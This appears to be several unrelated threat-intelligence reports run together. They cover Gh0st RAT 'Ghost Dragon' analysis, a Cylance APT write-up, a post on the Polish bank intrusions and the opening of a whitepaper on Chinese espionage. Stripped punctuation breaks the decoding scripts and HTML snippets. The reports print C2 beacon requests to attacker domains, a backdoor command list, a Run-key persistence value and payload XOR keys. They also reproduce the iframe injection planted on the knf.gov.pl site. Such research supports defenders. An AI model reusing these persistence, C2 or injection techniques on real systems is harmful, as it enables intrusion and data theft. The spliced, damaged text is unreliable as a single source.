Afterward, the keep-alive packets between the victim and controller maintained the connection, which allowed me to test the functionality of 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df with the custom Gh0st RAT controller.
The following screen shots were obtained while connected to the malware: Figure 7: Main connection view  Connected to 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df The HOSTNAME field shown in Figure 7 was programmed in my custom controller to display Gh0st variant, just in case the incoming structure parsed from the victim did not match the format of the default LOGININFO structure from Gh0st RAT 3.6.
I attained full functionality using the Gh0st 3.6 protocol in the controller, despite the fact that the incoming structure was not exactly what my customized controller expected.
As shown in Figure 8, I successfully added an 4/7 administrative user while remotely connected via my custom Gh0st RAT console within the malware dropped from sample f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197.
Figure 8 demonstrates that some of the characters in the window are not in English and are not displayed properly on the form.
This is due to the fact that the characters were written in Mandarin in the original Gh0st RAT 3.6 source.
I changed phrases in the main connection window (Figure 7) for demonstration purposes only.
Figure 8: Remote shell  Adding admin user  Connected to 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df The remaining features of the Gh0st RAT protocol were tested successfully with the custom Gh0st RAT controller while connected to 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df.
Additional analysis into other samples is ongoing and more information will be forthcoming.
Network IOCs and Infrastructure Overlap A48f881f254dc8452561a8f13e2fb81933473ff22e549787f0ca67f19ba7fe67 File name: Air China 2015 April TIMETABLE .xls Malware type: Initial Infection Vector/ XLS file Network Activity Summary:  Drops the downloader 71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97 71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97 File name: AdobeWpkReg.tmp Malware type: Downloader Network Activity Summary: Uses HEAD method (instead of GET)  Calls out to info.winupdate[dot]net/robots.txt User-Agent: Mozilla/5.0 (compatible MSIE 10.0 NULL[5(1)]Windows NT 6.1 Trident/6.0) Note: User Agent is variable depending on the version info of the host 1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42 File name: iconfig.exe Malware type: Gh0st RAT variant Network Activity Summary: bbs.winupdate[dot]net  Port 8080 Packet flag: Dynamic f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197 File name: install.exe 5/7 Malware type: Gh0st RAT variant Network Activity Summary: ooxxxoo.gicp[dot]net  Port 8080  Also connects to www.winupdate[dot]net on port 8080 Packet flag: Static: XYTvn Note: On Windows XP, may drop a replacement DLL for the AppMgmt service using ClimateVMain export SVC_sha256: 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df.
The hash of the dropped file may change on different versions of Microsoft Windows 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2 File name: install.exe Malware type: Gh0st RAT variant Network Activity Summary: www.searchhappynews[dot]com  Port 80 Packet flag: Static  XYTvn b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5 File name: ExtensionManager.exe Malware type:  Gh0st RAT variant Network Activity Summary: www.fhtd[dot]info  Port 1081 Packet flag: Dynamic Infrastructure Overlap Domain                                      Previous IP resolution bbs.winupdate[dot]net          122.10.18.166 www.fhtd[dot]info                  122.10.18.166 info.winupdate[dot]net          122.10.36.94 During investigation into the infrastructure used by Ghost Dragon, an anonymous FTP server was discovered on one of the IP addresses listed above, which hosted info.winupdate[dot]net  122.10.36.94.
Upon obtaining the files on the FTP server, an older Gh0st RAT variant was obtained with the file name operas.exe.
This variant sends the system info to the controller in clear text for the login request.
fb5a7cb34040b1e98b077edaf91cb59a446d8ff07263afe875cf6bd85bfb359d File name: operas.exe Malware type: Gh0st RAT variant Network Activity Summary: www.swgabeg[dot]com  Port 1080  Clear text login request sent to controller Packet flag: Dynamic Appendix A  IP and Domain Listing IP addresses: 101.55.33.39 103.232.215.144 103.246.245.147 111.68.8.130 112.125.17.103 113.10.148.161 113.10.148.205 122.10.18.166 122.10.36.94 122.10.41.85 6/7 122.10.83.75 122.10.85.35 122.9.247.128 122.9.247.134 122.9.247.216 122.9.247.56 123.254.111.87 142.4.103.90 174.128.255.228 175.45.192.234 202.172.32.172 202.174.130.116 203.232.28.10 209.85.84.165 209.85.84.167 31.170.179.179 58.64.187.22 60.215.128.246 64.111.220.218 Domains: info.winupdate[dot]net bbs.winupdate[dot]net ooxxxoo.gicp[dot]net www.winupdate[dot]net www.searchhappynews[dot]com www.fhtd[dot]info www.swgabeg[dot]com Tags: Gh0st Dragon, Gh0st RAT 7/7 https://blog.cylance.com/topic/gh0st-dragon https://blog.cylance.com/topic/gh0st-rat The Ghost Dragon The Standard Gh0st RAT Protocol Changes to the Gh0st RAT Protocol Connecting to the Ghost Dragon Malware
Cylance SPEAR Team: A Threat Actor Resurfaces May 13, 2015 By Jon Gross(http://blog.cylance.com/author/jon-gross) Share This: Attackers typically shut down campaigns or halt activity after they are exposed by security researchers, thereby creating the impression they have dropped off the map.
This often leads to a false sense of security within the community and perpetuates the idea that public exposure makes us all safer.
While the exposed activity is no longer observed, attackers simply continue in the background  evolving or altering their tactics to seamlessly continue operations with increasingly advanced malware.
So while potentially making us safer in the short-term, exposure often forces a Darwinian evolution in malware.
Several months ago I examined a malware-tainted Word document titled ISIS_twitter_list.doc.
I didnt think much of it and quickly moved on after a cursory analysis.
Yet I recently uncovered evidence that suggests it was the work of a well-known Chinese threat group.
This group is known to have targeted U.S. government agencies, defense contractors, aerospace firms and foreign militaries since 2009.
Until now, it was widely believed the actors activities had largely subsided in 2013, following numerous public disclosures and detailed analyses of their backdoors.
Our technical analysis shows the group has remained active.
We are releasing this data to help victims identify and remediate the threat.
Click here(http://blog.cylance.com/spear-a-threat-actor- resurfacesmitigation) to get to recommended mitigations, or for all the technical details read on: http://blog.cylance.com/author/jon-gross It all began with the MIME encoded document ISIS_twitter_list.doc, which exploited the familiar CVE-2012- 0158(http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158) and was first uploaded to Virustotal from a user in India.
Other targets identified were predominantly located in Australia, New Zealand, Vietnam and the United States.
File Details Name ISIS_twitter_list.doc SHA256 6ba1d42c6493b18548e30bd60ca3d07a140d9d1945cf4e2b542e4a6d23913f40 File Size 146,338 bytes The first stage shellcode searches for the marker GfCv then checks the next four bytes are EF FE EC CE in the document then decodes the second stage shellcode using the four-byte XOR key 0x29F7C592.
This second stage finds and decodes an encoded executable beginning at offset 0x33A2.
The binary is encoded using a variable 4-byte XOR key that is generated by starting with the 4-byte key 0x7FFEFC00 this XOR key is then permutated every four bytes by rotating the first two bytes of the key by 0x1 and shifting the bits of the next two bytes right by 0x1, so the next 4-byte XOR key in the series would be 0x3FFF7E00.
It includes some logic to exclude XORng any bytes that match 0x00000000 or the current 4- byte XOR key.
For the binary mathematically impaired like myself the 4-byte keys will eventually repeat in effect creating a 256-byte XOR key.
The decoded binary will be written to the filesystem as APPDATA\Microsoft\Systemcertificates\Certificates.ocx.
File Details Full File Path APPDATA\Microsoft\Systemcertificates\Certificates.ocx SHA256 9d838fd9d21778ed9dc02226302b486d70ed13d4b3d914a3b512ea07bf67e165 File Size 107,008 bytes Compile Time 2/4/2015 8:41:42 UTC http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 The malware does not execute immediately after successful exploitation and instead just creates a Run key in the current users hive which will execute the next time the victim user accesses the system.
Registry Persistence Key  HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Certificates Registry Key Value  Rundll32.exe APPDATA\Microsoft\SystemCertificates\Certificates.ocx,Setup The ocx file is actually a DLL and provides the attacker the ability to upload, download, enumerate, delete, search, and execute files as well as list drivers on the system.
The binary is designed to be called from its one exported function, Setup the Run key will ensure that whenever the victim user logs into the system the backdoor will execute.
The binary is configured to communicate to www.microsoftservices.proxydns.com on port 80 using standard HTTP POST and GET requests.
The domain at the time of this report resolved to the IP address, 103.229.125.157.
Additionally the dynamic DNS domains fighthard.mooo.com and rampage.freetcp.com have both historically resolved to this IP address.
Example initial beacon request: GET /login?wdhvJZkcIvKKupNRlsqI0aN6jZDTYPz6ZS9Q- H5bCXiER37jqqCDzS3wIUulYOjyKHcDomZCD72mAc4fSCoHhJJ1UQliBkraMepzS5J3UUFUH- nofoOgVM02UlCs4LJANIuZH90vM5KH_Ih59DdVRbgQ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 Trident/4.0 .NET CLR 2.0.50727 .NET CLR 3.0.4506.2152 .NET CLR 3.5.30729 .NET CLR 1.1.4322) Host: www.microsoftservices.proxydns.com Cache-Control: no-cache The above beacon request can be decoded by base64 decoding with this alphabet, ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.
Then RC4 decrypting the resulting string using the first four bytes of the payload as the decryption key.
The following python script will make this easy: from Crypto.
Cipher import ARC4 import base64,binascii,string def customb64decode(s): newalphabet  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_ oldalphabet  string.uppercase  string.lowercase  string.digits  / s  s.translate(string.maketrans(newalphabet, oldalphabet)) return base64.b64decode(s) req  hvJZkcIvKKupNRlsqI0aN6jZDTYPz6ZS9Q- H5bCXiER37jqqCDzS3wIUulYOjyKHcDomZCD72mAc4fSCoHhJJ1UQliBkraMepzS5J3UUFUH- nofoOgVM02UlCs4LJANIuZH90vM5KH_Ih59DdVRbgQ unb64  customb64decode(req) rc4  ARC4.new(unb64[0:4]) dec  rc4.decrypt(unb64[4::]) print dec Decoding the string will yield the following: k:9C18CDFE s:masst h:HOSTNAME u:USERNAME o:win32.5.1.2600.2.1.Service Pack 3 m:MAC ADDRESS Where k: is a unique identifier for the victim, s: is a campaign identifier included in the backdoor, h: is the hostname of the victim computer, u: is the victim user, o: is the operating system and service pack level, and m is the mac address.
Based upon some cursory analysis the backdoor will look for encrypted commands within HTML comments returned from the C2 using the following format: ?
COMMANDGOESHERE?
however, the C2 was not active at the time of analysis so this could not be confirmed.
The backdoor may also make requests to the C2 over HTTP using the following parameters in the URI string query?sid and result?
sid.
The PDB path, C:\Codes\Eoehttp\Release\Eoehttp.pdb, was also left in the backdoor although no other instances of this path could be identified.
Several additional exploit documents were identified by investigating the domains fighthard.mooo.com and rampage.freetcp.com.
Down the Intelligence Rabbit Hole Fighthard.mooo.com additionally resolved to 173.224.214.12 in February of 2014.
The following exploit documents were identified to contain a payload which communicated to this domain: Naval Science Curriculum 2014.doc 8794189aad922f2287a56c5e2405b9fd8affd136286aad7ed893b90cd2b76b9c 1.doc c593a844a87b3e40346efd5d314c55c5094d5bf191f9bb1aeec8078f6d07c0cd Republic Day speech 27 Jan 2014.doc 3219767408bba3fa41b9ab5f964531cf608fb0288684748d6ac0b50cf108c911 Rampage.freetcp.com still resolves to 103.229.125.157 as of 4/2/2015 Lets go ahead and take a look further into one of the other expoit documents, 8794189aad922f2287a56c5e2405b9fd8affd136286aad7ed893b90cd2b76b9c.
SHA256 8794189aad922f2287a56c5e2405b9fd8affd136286aad7ed893b90cd2b76b9c Name Naval Science Curriculum 2014.doc File Size 459,087 The document exploits old faithful, CVE-2012-0158(http://www.cve.mitre.org/cgi-bin/cvename.cgi?
nameCVE-2012-0158), but instead of using a MIME encoded document this file was just a plain RTX document.
Yes thats not a misspelling Word is happy to open this RTF format as well.
So for anyone exploring and hunting RTF documents you may also want to start looking for the \rtx header.
Well skip the shellcode analysis for now and go directly to the binary which is stored beginning at offset 0x1BC27 as an ASCII hex-encoded, xor-encoded binary.
It can be decoded using the XOR key 0xBF.
Upon successful exploitation the decoded binary will be written first to TEMP\dw20.EXE then copied to WINDIR\msascm32.drv.
No other changes are made to the system.
File Details Full File Path: WINDIR\msacm32.drv SHA256: 67bd81f4c5e129d19ae71077be8b68dc60e16c19019b2c64cdcedca1f43f0ae3 File Size: 108,544 Bytes Compile Time: 9/26/2013 01:46:23 UTC http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 Im always curious when no registry changes are made in the exploitation process.
At first the backdoor failed to load or really do anything in my VM until I read what the msascm32.drv file does.
Looking at the original files (WINDIR\system32\msacm32.drv) imported functions, its clear the DLL is responsible for some type of audio processing and/or playback.
A quick search on the internet confirmed this so I added a soundcard to my VM.
On reboot explorer.exewas now happy to load the backdoor and get down to business this technique is known as dll search order hijacking or binary planting.
Interestingly the backdoor will also load the legitimate system32\msacm32.drvfile resolve functions and pass calls to it so it doesnt break audio playback on the victim system.
The backdoor contains identical exports as well as an additional dummy function from the legitimate msacm32.drv called StartWork which can be used to reliably identify similar samples.
The backdoor routine exists inside the DllMain function so when explorer.exe loads the backdoor via LoadLibrary it will begin spawning malicious threads.
A PDB path was also left in this binary C:\Users\cmd\Desktop\msacm32\Release\msacm32.pdb A quick google search will lead you to a YARA rule written by Patrick Olsen and the very similar sample 869fa4dfdbabfabe87d334f85ddda234 which communicates to www.micro1.zyns.com on TCP port 80.
The two files also have an identical compilation time, which suggests the backdoor is probably not recompiled very often and instead the attacker simply updates the callback configuration information.
The backdoor interestingly contains the well known Poison Ivy RAT shellcode as well as its own custom backdoor.
It will first attempt to communicate to fighthard.mooo.com using the poison ivy binary protocol with the default connection password of admin.
The Poison Ivy shellcode is encrypted using a custom cipher with the key Tiger324 beginning at offset 0xFA5 and ending at 0x159E.
If this initial connection fails it will revert to the secondary backdoor, which utilizes HTTP GET and POST requests somewhat similar to the ones described above to the internal IP address 192.168.2.26.
This suggested the attacker had already compromised other systems in the environment and was using an internal C2 mechanism for a fallback.
Example Internal Beacon: GET /login.asp?
phWe8J5pFk5xv5XeUhIJbKZQfySZRv1NcwhQi2ZHKKvGBC8EjiadbWLoUcgUxJyZElD7AY0DCWmzbIa9IX EJ7OZkvwBZVx1JsrhQ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Win32) Host: 192.168.2.26 Requests may also be made to the following pages: check.asp, result.asp, and upload.asp.
The request structure is slightly different in that it uses the base64 alphabet ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.
The resulting request can be decoded further by using the first 16 bytes of the result as an XOR key to decode the rest of the payload.
It also uses a static User-Agent string of Mozilla/4.0 (compatible MSIE 8.0 Win32) for each request.
The following script simplifies this process: def rolling_xor(buf, key): out k  0 for i in buf: if k  len(key): k  0 out  chr(ord(i)  ord(key[k])) k  1 return out req phWe8J5pFk5xv5XeUhIJbKZQfySZRv1NcwhQi2ZHKKvGBC8EjiadbWLoUcgUxJyZElD7AY0DCWmzbIa9I XEJ7OZkvwBZVx1JsrhQ unb64  base64.b64decode(req,) dec  rolling_xor(unb64[16::],unb64[0:16]) print dec The request decodes to 123000000USER-D6921F6215Administrator-16760960021.00, where values are separated by the delimiter .
123 is a campaign identifier hard coded into the backdoor.
I dont know what 000000 is but its also a hard coded value my best guess is its to modify the timezone of the timestamp.
USER-D6921F6215 is the hostname of the victim, Administrator is the victim user, 1676096002 is the current Date/Time in decimal, and 1.0 is a version number also stored in the backdoor.
The 16-byte XOR key will be randomly generated per each request.
Results from commands will be sent back encoded to the server to the result.asp page.
The backdoor will accept the following commands: runhfcore- starts the main PI backdoor functionality in a separate thread getdrivelist?
-
enumerates logical drives on the system getfilelist?
-
enumerates logical files using FindFirst FindNext technique delfile- deletes a file using the DeleteFileA API newupload?
-
uploads a file newdownload?
-
downloads a file runfile- - executes a file on the system via CreateProcess API urldownload?
-
will download a file from a remote URL using InternetOpen and InternetReadFile sleep?
-
Sleeps for a specified number of minutes delay?
-
exact functionality unknown appears to force another request to the C2 page check.asp maxblock?
-
exact functionality unknown appears to force another request to the C2 page check.asp stop - exact functionality unknown appears to force another request to the C2 page check.asp Commands with a ?
appear to take an additional parameter while files that end in - require a full file path.
The backdoor is also capable of elevating its privileges on win7 and above using a method similar to the one described here: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html.
I thought it was interesting the backdoor used a secondary backup backdoor in addition to its primary payload.
The first communicated directly outside the network using a well known RAT protocol and if that failed the secondary much stealthier backdoor communicated to an internal C2 address using its own custom encoded HTTP based protocol.
The use of a relatively undisclosed DLL search order hijack also made this sample unique.
Detection rates for this binary seem to be pretty good right now 39/57 however, at the time it was first used in late January 2014 detection rates were much poorer.
Other samples from the identified exploit documents were similar to the one described above with different network callbacks.
And now to tie all this back to the well-known threat group.
The 173.224.214.12 IP address that fighthard.mooo.com previously resolved to also historically had two other domains point to it queenberry.www1.biz and word.crabdance.com.
word.crabdance.com previously resolved to 64.71.162.70 on September 8, 2012 and 108.171.246.140 on February 19, 2014.
The 64.71.162.70 address and the associated domain www.ollay011.zyns.com are rather infamous and the first mention of it I could find is in this shadowserver post: http://blog.shadowserver.org/2012/04/16/beware-of-what-you- download-recent-purported-ceiec-document-dump-booby-trapped/ related to exploit documents identified in a data dump from Hardcore Charlie.
If you follow the rabbit hole deep enough you can eventually trace samples via domain and IP address crossover back to the FBI flash A-000009-MW from mid 2013.
Additional domains and IP addresses related to this group are included in the appendix.
Mitigation While defending against the constant stream of new malware from advanced threat groups may be difficult, organizations can take some relatively easy steps to help identify intrusions.
This group is among the numerous threat actors who rely almost exclusively on Dynamic DNS infrastructure.
They seem to prefer ChangeIP (https://www.changeip.com/services/free-dynamic-dns/(https://www.changeip.com/services/free- dynamic-dns/)) and Afraid (https://freedns.afraid.org/(https://freedns.afraid.org/)) for free DNS services, although they previously heavily used Sitelutions (https://sitelutions.com/info/sldns(https://sitelutions.com/info/sldns)).
While there are some legitimate instances of dynamic DNS in corporate environments, it only accounts for a small percentage of traffic.
Monitoring and/or blocking dynamic DNS requests should help detect attacks by this actor.
Any dynamic DNS domains that resolve to non-routable IP addresses, like 127.0.0.1 or private IP addresses, should be thoroughly investigated.
The HTTP traffic generated by both samples uses a limited number of header fields, which is substantially different from the majority of traffic generated by modern browsers.
As always, dont open E-mail attachments from untrusted parties.
APPENDIX A: Associated IP Addresses and Domains 103.229.125.157 microsoftservices.proxydns.com - current rampage.freetcp.com - current fighthard.mooo.com - 9/8/2014 103.238.227.69 www.micro.zyns.com - current computer001.dumb1.com - current microlab.dns04.com - current 173.224.214.12 word.crabdance.com - 11/12/2012 fighhard.mooo.com - 1/31/2014 queenberry.www1.biz - 2/14/2014 https://sitelutions.com/info/sldns https://www.changeip.com/services/free-dynamic-dns/ https://freedns.afraid.org/ 162.251.122.216 fighthard.mooo.com - 5/20/2014 121.127.249.97 queenberry.www1.biz - 10/1/2014 anhtuan88.ns01.biz anhphuong85.www1.biz 64.71.162.70 word.crabdance.com - 9/8/2012 www.fornobody.dns04.com ftp.fornobody.dns04.com fornobody.dns04.com 199.192.153.72 fornobody.dns04.com - 9/2/2011 www.qwertyui.dns04.com - 2/24/2012 64.71.138.240 www.qwertyui.dns04.com - 3/3/2012 beyondbuck.dns1.us letitsnowsmart.instanthq.com prime98.jumpingcrab.com fuck.ruouvangnhatrang.com 59.188.250.161 www.micro1.zyns.com 118.99.13.184 www.micro.zyns.com www.micro1.zyns.com 180.210.204.157 www.qwertyui.dns04.com - 3/2/2011 www.ollay011.zyns.com - 3/4/2011 www.olay033.dns04.com - 3/12/2011 www.olay044.dns04.com - 4/30/2011 9999992009.rr.nu 9999992011.rr.nu 9999992009.myfw.us 64.62.202.82 www.qwertyui.dns04.com - 3/4/2012 microlab.mrslove.com 203.80.238.183 www.qwertyui.dns04.com - 10/8/2010 www.olay033.dns04.com - 10/4/2010 webhosts.sytes.net APPENDIX B: Phishing Emails Associated with the Campaign Tags: CylanceSPEAR(http://blog.cylance.com/topic/cylancespear) Back to Blog(http://blog.cylance.com) http://blog.cylance.com/ http://blog.cylance.com/topic/cylancespear
badcyber 2/3/2017 Several Polish banks hacked, information stolen by unknown attackers badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ Polish banks are frantically scanning their workstations and servers while checking logs in the search of signs of infection after some of them noticed unusual network activity and unauthorised files on key machines within their networks.
This is  by far  the most serious information security incident we have seen in Poland.
It has been a busy week in SOCs all over Polish financial sector.
At least a few of Polish 20-something commercial banks have already confirmed being victims of a malware infection while others keep looking.
Network traffic to exotic locations and encrypted executables nobody recognised on some servers were the first signs of trouble.
A little more than a week ago one of the banks detected strange malware present in a few workstations.
Having established basic indicators of compromise managed to share that information with other banks, who started asking their SIEMs for information.
In some cases the results came back positive.
Delivery Preliminary investigation suggests that the starting point for the infection could have been located on the webserver of 1/4 https://badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ Polish financial sector regulatory body, Polish Financial Supervision Authority (www.knf.gov.pl).
Due to a slight modification of one of the local JS files, an external JS file was loaded, which could have executed malicious payloads on selected targets.
This would be really ironic if the website of the key institution responsible for assuring proper security level in the banking sector was used to attack it.
Current website status is under maintenance Data from PassiveTotal does confirm the finding related to external resources included in knf.gov.pl website since 2016-10-07 till yesterday.
2/4 https://www.passivetotal.org/search/www.knf.gov.pl To unauthorised code was located in the following file: http://www.knf.gov.pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver11 and looked like that: document.write(div idefHpTk width0px height0pxiframe nameforma srchttps://sap.misapor .ch/vishop/view.jsp?pagenum1 width145px height146px styleleft:- 2144pxposition:absolutetop :0px/iframe/div) After successful exploitation malware was downloaded to the workstation, where, once executed, connected to some foreign servers and could be used to perform network reconnaissance, lateral movement and data exfiltration.
At least in some cases the attackers managed to gain control over key servers within bank infrastructure.
Malware While you can find some hashes at the end of this article, we gathered the available information regarding the malware itself.
While there might be some elements borrowed from other similar tools and crimeware strategies, the malware used in this attack has not been documented before.
It uses some commercial packers and multiple obfuscation methods, has multiple stages, relies on encryption and at the moment of initial analysis was not recognised by available AV solutions.
The final payload has the functionality of a regular RAT.
Motivation While we have no idea of attackers motivation, so far we have no knowledge of any direct financial losses incurred by banks or their customers due to this attack.
What is more troubling, some of the victims were able to identify large outgoing data transfers.
So far they could not identify the contents of the data as it was encrypted.
Investigation continues to fully understand the scope of losses.
Conclusions  IOCs While this should not come as a surprise, this incident is the perfect example of the statement you are going to get infected.
Polish financial sector has some of the best people and tools in terms of security and still it looks like the 3/4 attackers achieved their objectives without major hurdles in at least some cases.
On the good side  they were detected and once notified banks were able to quickly identify infected machines and suspicious traffic patterns.
The whole process lacked solid information sharing, but this is a problem know  everywhere.
We hope to continue investigating this incident and share with you more details about the malware itself in the future.
Meanwhile please find attached some IOCs we can share today: MD5, SHA1, SHA256 hashes of some samples: C1364BBF63B3617B25B58209E4529D8C 85D316590EDFB4212049C4490DB08C4B 1BFBC0C9E0D9CEB5C3F4F6CED6BCFEAE 496207DB444203A6A9C02A32AFF28D563999736C 4F0D7A33D23D53C0EB8B34D102CDD660FC5323A2 BEDCEAFA2109139C793CB158CEC9FA48F980FF2B FC8607C155617E09D540C5030EABAD9A9512F656F16B38682FD50B2007583E9B D4616F9706403A0D5A2F9A8726230A4693E4C95C58DF5C753CCC684F1D3542E2 CC6A731E9DAFF84BAE4214603E1C3BAD8D6735B0CBB2A0EC1635B36E6A38CB3A Some CC IP addresses: 125.214.195.17 196.29.166.218 Potentially malicious URLs included in knf.gov.pl website: http://sap.misapor.ch/vishop/view.jsp?pagenum1 https://www.eye-watch.in/design/fancybox/Pnf.action 4/4 Several Polish banks hacked, information stolen by unknown attackers Delivery Malware Motivation Conclusions  IOCs
Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 1 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Crouching Tiger, Hidden Dragon, Stolen Data Context Information Security whitepaperscontextis.com March 2012 Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 2 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Contents Executive Summary 3 Introduction 4 Categorising Attacks 5 Why Cyber?
6 How Cyber?
7 The Targets 7 The Requirements 9 Boosting Domestic Enterprise 11 At Risk 12 How Does it Happen?
14 Setting Requirements 14 Planning and Direction 15 Collection 15 Processing and Exploitation 15 Analysis and Production 15 Dissemination 16 The Scale of the Operation 17 Profiting from the Product 18 Hypothetical Case Study: Aircraft Construction 19 Conclusion 21 About Context 23 Appendix 24 Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 3 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Executive Summary Media reports show that targeted cyber attacks against government and commerce have been ongoing since at least 2003 and possibly some time before that.
By far the largest sponsor of these attacks is the Chinese state.
This is not a new problem it is espionage with a different methodology.
These attacks are far from random or indiscriminate.
These attacks are designed to steal information that will fulfil a clear set of requirements set by the Chinese state and furnish them with political, commercial and security/intelligence information.
These requirements are carefully and clearly identified, shared with a number of government departments and constantly updated.
There is evidence of worldwide targeting but only a minority of attacks are identified and fewer still made public.
This is a structured program and the main protagonists in China are widely believed to be the Third Department of the Peoples Liberation Army.
Even using conservative estimates it is likely that the program employs thousands of military personnel.
While the military program may be the most developed and sophisticated, it is likely that other parts of the Chinese state and even the private sector may also be carrying out similar attacks.
There are clues to the companies and types of data most at risk.
In particular the Five Year Plan1 and the National Outline for Medium and Long Term ST Development2 give detail on the areas in which China intends to excel and identifies specific technology which the Chinese want to develop or otherwise acquire.
Electronics, telecoms, manufacturing, extraction, energy, biotech, pharmaceuticals, aerospace, space and defence are sectors at the highest risk, alongside companies and services such as law and accountancy firms that support them and hold their data.
The likely recipients of stolen commercial data are the 117 Chinese State Owned Enterprises that dominate the economy.
These companies are closely linked to the state and the Communist Party which has power over strategy, senior management and even wages.
Companies with SOE competitors should be especially concerned about data security.
Two factors make western governments and companies more vulnerable to Chinese targeted cyber attacks.
Firstly, there is reluctance for governments and companies to accuse China directly or take any form of action for fear of either being isolated politically or being blocked from a lucrative developing market.
Secondly, a long term reliance on traditional security products such as anti-virus, coupled with a lack of education about the threat, leaves businesses vulnerable to attack and unprepared for any investigations that are required in the aftermath of a compromise.
Context has extensive experience of detecting and investigating targeted attacks and working with clients to help protect their data.
1 Chinese Government Official Web Portal website 2 China International Science and Technology Cooperation website http://english.gov.cn/special/115y_index.htm Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 4 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Introduction There have been many media reports in recent years about cyber attacks on governments and a variety of private sector companies.
The rather ambiguous term Advanced Persistent Threat3 (APT) is widely used to describe any attack that appears to have compromised computers in these companies or organisations, regardless of the source or purpose of the attack.
We prefer simply to call them targeted attacks and leave marketing terms to one side.
This paper is not concerned with the technical aspects of targeted attacks, it seeks instead to inform readers about the full scope and nature of these attacks, the reasons why they are launched and the people and policies behind their design and execution.
Many reports of attacks inevitably end by asking who did it?
But the answer is rarely straightforward.
Western Governments usually allege the attacks come from Asia or the Far East, rather than risk offending the Chinese government.
Large corporations are similarly vague in their descriptions of these events, for fear of harming lucrative business arrangements.
Security experts always caution that IP addresses can be used as hop points through which attackers disguise their true origins, so perhaps this could be a case of other countries trying to make it look as if China was the source.
While this is true, if something looks, walks and quacks like a duck, it is almost always a duck.
We will not be so coy.
This paper will look directly at the most prolific sponsor of computer network exploitation attacks: China.
We know other countries have implemented similar programs for attacking computer networks and have seen many examples of these in our work over the last few years, but our focus here is China.
We will examine various aspects of these attacks, including the nature of the information targeted and the types of organisations threatened.
We will consider the effort involved in planning, executing and managing these attacks and assess the information products they generate, in order to understand the scale of human involvement and the government policies that sponsor information theft via targeted attacks.
With all this in mind we will then postulate on where the stolen information goes and how it may be used.
3 Advanced Persistent Threat has recently become a catch all term for targeted attacks against computer networks and is often used to describe the malware.
In fact, the term was first coined by the United States Air Force in 2006, specifically to refer to China  without actually saying China.
Advanced because the attackers could use a variety of attacks to get access to a network and could raise their game to use zero day vulnerabilities if necessary Persistent because the attacks would not stop until the attacker had achieved their objectives and Threat because this attack was not automated like a botnet, but was conducted by humans who adapt and evolve their methods to evade defences.
Context Information Security 30 Marsh Wall, London, E14 9TP  44 (0) 207 537 7515    www.contextis.com 5 / 33 Crouching Tiger, Hidden Dragon, Stolen Data Whitepaper / Categorising Attacks Many commentators have divided the targets of attacks into four categories: political, economic, technical and military.
This works as a general model, but focuses on the target of the attack as a whole rather than considering the type of information the attacker seeks to steal.
If a criminal gang unleashes a phishing attack aimed at harvesting banking credentials and it is the employees of a butchers shop and a bakery that fall victim to it, that does not mean the attack was targeting bread and meat.
Bearing this in mind, we divide target areas into the following categories: Political.
The information targeted will inform the state on the political positions of other governments on a range of issues, including economics, trade and human rights.
Typical targets are government departments, embassies, trade bodies, NGOs, and international political groups such as the UN, G20, World Bank and IMF.
Commercial.
The information targeted will be of value to the private sector within that country (even if the lines between private and public sectors are blurred).
It may include IPR, product designs, negotiating positions for sales discussions, mergers and acquisitions information and strategic plans (particularly in relation to the attacking country).
Intelligence.
The information targeted here will be used to safeguard internal security by the attacker country (this may entail intimidation or close monitoring of minority or opposition groups or individuals) and to enable analysis of the military technology, capabilities and intentions of other countries.
There are a number of major problems that need to be overcome when seeking a complete understanding of the scale and purpose of attacks.
Many will never be detected, those that are may not always be reported and the vast majority are not investigated by professionals with a good understanding of these types of attack.
Dealing with the technical aspects of the compromise alone is not enough: the victim needs to know why they were being attacked, by whom, what data was stolen and where it may go.
While government agencies, such as the Centre for the Protection of National Infrastructure4 (CPNI) in the UK and the FBI5 in the US, are working successfully with larger organisations to identify potential threats, reduce the risk of successful attacks and in some cases to identify and investigate specific compromises, this assistance is not available to every company.
